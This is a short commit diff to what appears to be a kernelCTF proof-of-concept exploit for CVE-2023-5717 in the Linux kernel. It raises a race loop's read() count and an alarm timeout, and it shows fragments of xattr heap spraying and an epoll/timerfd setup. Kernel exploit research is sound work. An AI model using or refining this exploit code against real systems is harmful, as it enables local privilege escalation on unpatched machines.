Revert read() loops

Author: msh1307

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit

@@ -329,7 +329,7 @@ void race(int group_leader) { // caller must have ownership of the group
         write(pipefd[1], buffer, 1); // sync point A
         remove_xattr("security.x12296_10", 1);
         // x10 reclaimed by CPU_B is now released on CPU_A
-        for (int _=0; _<1; _++) {
+        for (int _=0; _<32; _++) {
             read(group_leader, buf, sizeof(buf));
         }
         sched_yield();
@@ -709,7 +709,7 @@ int main(void) {
     race_oracle();
     tfd = timerfd_create(CLOCK_MONOTONIC, 0);
 	do_epoll_enqueue(tfd);
-    alarm(60*20);
+    alarm(60*30);
     spray_xattr_page(0x3000, 2048, 0);
 
     exploit();